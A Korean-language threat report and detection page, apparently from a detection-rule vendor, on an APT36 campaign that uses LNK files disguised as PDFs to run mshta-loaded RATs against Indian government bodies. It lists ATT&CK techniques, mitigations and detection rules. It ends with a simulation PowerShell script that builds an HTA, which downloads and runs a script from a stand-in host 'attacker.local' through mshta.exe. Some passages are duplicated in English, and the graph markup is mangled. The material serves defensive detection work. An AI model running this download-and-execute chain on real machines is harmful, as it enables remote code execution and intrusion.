APT36 : 인도 정부 기관을 겨냥한 다단계 LNK 멀웨어 캠페인
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
APT36(Transparent Tribe)는 악성 LNK 바로가기를 PDF로 가장하여 전달한 스피어피싱 캠페인을 실행했습니다. 열리면 바로가기는 mshta.exe 를 실행하여 HTA 기반 로더를 실행해 메모리 내에서 페이로드를 해독하고 실행합니다. 여기에는 구성 모듈과 기능이 완전한 RAT DLL이 포함됩니다. 이 악성코드는 피해자의 설치된 안티바이러스 제품에 따라 동적으로 지속적인 방법을 선택하고 암호화된 채널을 통해 명령 및 제어 서버와 연결됩니다. 이 활동은 정보 수집에 중점을 두고 있으며, 인도 정부 및 학술 기관을 타겟으로 데이터를 훔치려는 것으로 평가됩니다.
조사
연구원들은 비정상적으로 큰 LNK 파일을 분석하여 내장된 HTA 콘텐츠를 innlive.in에서 호스팅된 것이 추적하고, 암호 해독 로직을 리버스 엔지니어링했습니다. 이 체인은 두 가지 주요 단계를 드러냈습니다: 보안 검사를 약화하거나 우회하기 위해 사용되는 .NET 역직렬화 페이로드와 RAT 기능을 제공하는 파일리스 악성 DLL(e.g., ki2mtmkl.dll / iinneldc.dll)이 그것입니다. 지속성 동작은 특정 안티바이러스 제품에 매핑되었으며, 암호화된 트래픽에 사용되는 TCP 포트 8621과 AES 키 같은 주요 C2 세부 정보가 분석 중에 추출되었습니다. TCP port 8621 and an AES key used for encrypted traffic—were extracted during analysis.
완화
이메일을 통해 전달된 바로가기 (.lnk) 첨부파일을 특히 ZIP 아카이브에 압축된 경우 제한하거나 격리하십시오. 실행을 제한하기 위해 사용자 쓰기 가능 경로에서 mshta.exe, PowerShell, 및 기타 스크립팅 엔진의 애플리케이션 제어 정책을 적용하십시오. 메모리 내 DLL 실행을 포함하는 프로세스 체인 및 징후를 탐지하기 위한 엔드포인트 탐지 사용 및 알 수 없거나 신뢰할 수 없는 도메인과의 통신을 차단하기 위해 엄격한 egress 통제를 시행하십시오. mshta.exe and indicators of in-memory DLL execution, and enforce tight egress controls to block communication with unknown or untrusted domains.
반응
의심스러운 LNK 실행이 감지된 경우, 시스템을 격리하고 메모리 이미지를 캡처하고 RAT 단계에 연결된 메모리 내 DLL 지표를 검색하십시오. 식별된 악성 도메인 및 관련 IP 인프라를 차단하고 잠재적으로 노출된 자격 증명을 변경하십시오. 시작 폴더 및 레지스트리에 있는 지속성 아티팩트를 찾기 위해 포렌식 검토를 수행하고 이를 제거하고 추가된 흔적이 없음을 검증하십시오.
“graph TB %% Class definitions classDef technique fill:#cfe2f3 %% Node definitions tech_T1566_001[“<b>기술</b> – <b>T1566.001</b> 피싱: 스피어피싱 첨부파일<br />악성 첨부파일이 포함된 타겟 메일 발송”] class tech_T1566_001 technique tech_T1218_005[“<b>기술</b> – <b>T1218.005</b> 시스템 바이너리 프록시 실행: Mshta<br />mshta.exe를 사용하여 악성 HTA 실행”] class tech_T1218_005 technique tech_T1059_001[“<b>기술</b> – <b>T1059.001</b> 파워셸<br />페이로드 다운로드를 위한 PowerShell 명령 실행”] class tech_T1059_001 technique tech_T1059_005[“<b>기술</b> – <b>T1059.005</b> 비주얼 베이직<br />VBScript를 사용하여 HTA 스크립트 실행”] class tech_T1059_005 technique tech_T1027[“<b>기술</b> – <b>T1027</b> 난독화된 파일 또는 정보<br />페이로드가 계층화되어 인코딩/암호화됨”] class tech_T1027 technique tech_T1055[“<b>기술</b> – <b>T1055</b> 프로세스 인젝션<br />합법적인 프로세스에 악성 DLL 주입”] class tech_T1055 technique tech_T1547_001[“<b>기술</b> – <b>T1547.001</b> 부팅 또는 로그인 자동 시작 실행: 시작 폴더<br />시작 폴더의 바로 가기를 통해 지속성 유지”] class tech_T1547_001 technique tech_T1112[“<b>기술</b> – <b>T1112</b> 레지스트리 수정<br />지속성을 위한 Run 키 추가”] class tech_T1112 technique tech_T1036[“<b>기술</b> – <b>T1036</b> 위장<br />LNK가 PDF로 위장함”] class tech_T1036 technique tech_T1518_001[“<b>기술</b> – <b>T1518.001</b> 소프트웨어 확인: 보안 소프트웨어 확인<br />설치된 AV 질의”] class tech_T1518_001 technique tech_T1082[“<b>기술</b> – <b>T1082</b> 시스템 정보 수집<br />OS, 사용자 이름 등 수집”] class tech_T1082 technique tech_T1057[“<b>기술</b> – <b>T1057</b> 프로세스 탐색<br />프로세스 열거”] class tech_T1057 technique tech_T1083[“<b>기술</b> – <b>T1083</b> 파일 및 디렉터리 탐색<br />문서 검색”] class tech_T1083 technique tech_T1115[“<b>기술</b> – <b>T1115</b> 클립보드 데이터<br />클립보드 캡처”] class tech_T1115 technique tech_T1113[“<b>기술</b> – <b>T1113</b> 스크린 캡처<br />스크린샷 캡처”] class tech_T1113 technique tech_T1041[“<b>기술</b> – <b>T1041</b> C2 채널을 통한 데이터 유출<br />C2를 통한 데이터 유출”] class tech_T1041 technique tech_T1573[“<b>기술</b> – <b>T1573</b> 암호화된 채널<br />C2 트래픽 암호화됨”] class tech_T1573 technique %% Connections tech_T1566_001 u002du002d>|leads_to| tech_T1218_005 tech_T1218_005 u002du002d>|leads_to| tech_T1059_001 tech_T1218_005 u002du002d>|leads_to| tech_T1059_005 tech_T1059_001 u002du002d>|leads_to| tech_T1027 tech_T1027 u002du002d>|leads_to| tech_T1055 tech_T1055 u002du002d>|leads_to| tech_T1547_001 tech_T1547_001 u002du002d>|leads_to| tech_T1112 tech_T1218_005 u002du002d>|leads_to| tech_T1036 tech_T1036 u002du002d>|leads_to| tech_T1518_001 tech_T1518_001 u002du002d>|leads_to| tech_T1082 tech_T1082 u002du002d>|leads_to| tech_T1057 tech_T1057 u002du002d>|leads_to| tech_T1083 tech_T1083 u002du002d>|leads_to| tech_T1115 tech_T1083 u002du002d>|leads_to| tech_T1113 tech_T1115 u002du002d>|leads_to| tech_T1041 tech_T1113 u002du002d>|leads_to| tech_T1041 tech_T1055 u002du002d>|leads_to| tech_T1573 “
공격 흐름
탐지
이중 확장자 의심스러운 악성 LNK 파일 (cmdline 통해)
보기
관련 명령 탐지를 통해 의심스러운 LOLBAS MSHTA 방어 회피 행동 (프로세스 실행 경로 통해)
보기
시동 위치에서 의심스러운 이진 파일 / 스크립트 (파일 이벤트 통해)
보기
공용 사용자 프로파일에서 의심스러운 파일들 (파일 이벤트 통해)
보기
공용 사용자 프로파일에서 의심스러운 실행 (프로세스 실행 경로 통해)
보기
탐지할 IOCs (SourceIP): APT36: 인도 정부 기관을 대상으로 한 다단계 LNK 악성 캠페인
보기
탐지할 IOCs (HashSha256): APT36: 인도 정부 기관을 대상으로 한 다단계 LNK 악성 캠페인
보기
탐지할 IOCs (DestinationIP): APT36: 인도 정부 기관을 대상으로 한 다단계 LNK 악성 캠페인
보기
mshta.exe의 PowerShell 또는 CMD 실행 [Windows 프로세스 생성]
보기
APT36 악성 도메인 및 C2 통신 탐지 [Windows 네트워크 연결]
보기
APT36 캠페인에서 하드코딩 된 AES 키 탐지 [Windows Sysmon]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 베이스라인 프리플라이트 검사가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 활성화하도록 설계된 적대적 기법 (TTP)의 정밀한 실행을 자세히 설명합니다. 명령어와 설명은 반드시 확인된 TTPs를 직접적으로 반영하며 탐지 로직에 예상되는 정확한 텔레메트리를 생성하기 목표로 해야 합니다.
-
공격 내러티브 및 명령:
적대자는 손상된 워크스테이션에서 낮은 권한의 PowerShell 액세스를 얻습니다. 디스크에 실행 파일을 쓰지 않고 원격 페이로드를 실행하기 위해 공격자는mshta.exe을 사용하여 C2 서버에서 PowerShell 백도어를 끌어오는 HTA 파일을 실행합니다. 그 단계는 다음과 같습니다:- PowerShell을 실행하여 페이로드를 다운로드하고 실행하는 최소한의 악성 HTA를 인코딩합니다.
- HTA를 웹 서버 (예:
http://attacker.local/malicious.hta). - )에 호스트합니다.
mshta.exe에 원격 URL을 인수로 전달하여
합니다. 이 체인은 프로세스 생성 이벤트를 생성하며, 여기서
mshta.exe은powershell.exe의 자식으로, Sigma 규칙에 정확하게 일치합니다. -
회귀 테스트 스크립트:
#------------------------------------------------- # 시뮬레이션 된 공격자 스크립트 – 규칙을 트리거 #------------------------------------------------- # 1. 악성 HTA 정의 (데모 목적으로 인라인) $htaContent = @" <script> // 더미 PowerShell 페이로드 다운로드 및 실행 var url = 'http://attacker.local/payload.ps1'; var xhr = new ActiveXObject('Microsoft.XMLHTTP'); xhr.open('GET', url, false); xhr.send(); var ps = new ActiveXObject('WScript.Shell'); ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false); </script> "@ # 2. 임시 위치에 HTA 쓰기 (호스팅 된 파일 시뮬레이션) $tempPath = "$env:TEMPmalicious.hta" $htaContent | Set-Content -Path $tempPath -Encoding ASCII # 3. PowerShell에서 mshta.exe 실행 (탐지 트리거) $mshta = (Get-Command mshta.exe).Source Write-Host "[*] mshta.exe를 실행하여 HTA 페이로드 실행..." Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow # 옵션: 이벤트가 캡처될 시간을 허용하기 위해 Sleep Start-Sleep -Seconds 5 # 정리 (다음 섹션에서 처리) -
정리 명령:
# 임시 HTA 파일 제거 Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue # 남아있는 mshta.exe 프로세스 중지 (정상 실행 후 거의 없음) Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] 정리 완료."